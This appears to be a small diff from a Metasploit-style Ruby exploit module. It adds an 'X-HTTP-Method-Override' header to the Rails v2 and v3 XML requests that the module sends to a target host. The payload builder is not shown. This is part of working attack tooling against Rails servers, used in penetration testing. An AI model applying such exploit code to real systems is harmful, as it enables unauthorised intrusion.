@@ -166,19 +166,21 @@ def exploit
166
166
167
167
print_status ( "Sending Railsv3 request to #{ rhost } :#{ rport } ..." )
168
168
res = send_request_cgi ( {
169
- 'uri' => datastore [ 'URIPATH' ] || "/" ,
170
- 'method' => datastore [ 'HTTP_METHOD' ] ,
171
- 'ctype' => 'application/xml' ,
172
- 'data' => build_request ( 3 )
169
+ 'uri' => datastore [ 'URIPATH' ] || "/" ,
170
+ 'method' => datastore [ 'HTTP_METHOD' ] ,
171
+ 'ctype' => 'application/xml' ,
172
+ 'headers' => { 'X-HTTP-Method-Override' => 'get' } ,
173
+ 'data' => build_request ( 3 )
173
174
} , 25 )
174
175
handler
175
176
176
177
print_status ( "Sending Railsv2 request to #{ rhost } :#{ rport } ..." )
177
178
res = send_request_cgi ( {
178
- 'uri' => datastore [ 'URIPATH' ] || "/" ,
179
- 'method' => datastore [ 'HTTP_METHOD' ] ,
180
- 'ctype' => 'application/xml' ,
181
- 'data' => build_request ( 2 )
179
+ 'uri' => datastore [ 'URIPATH' ] || "/" ,
180
+ 'method' => datastore [ 'HTTP_METHOD' ] ,
181
+ 'ctype' => 'application/xml' ,
182
+ 'headers' => { 'X-HTTP-Method-Override' => 'get' } ,
183
+ 'data' => build_request ( 2 )
182
184
} , 25 )
183
185
handler
184
186
end
0 commit comments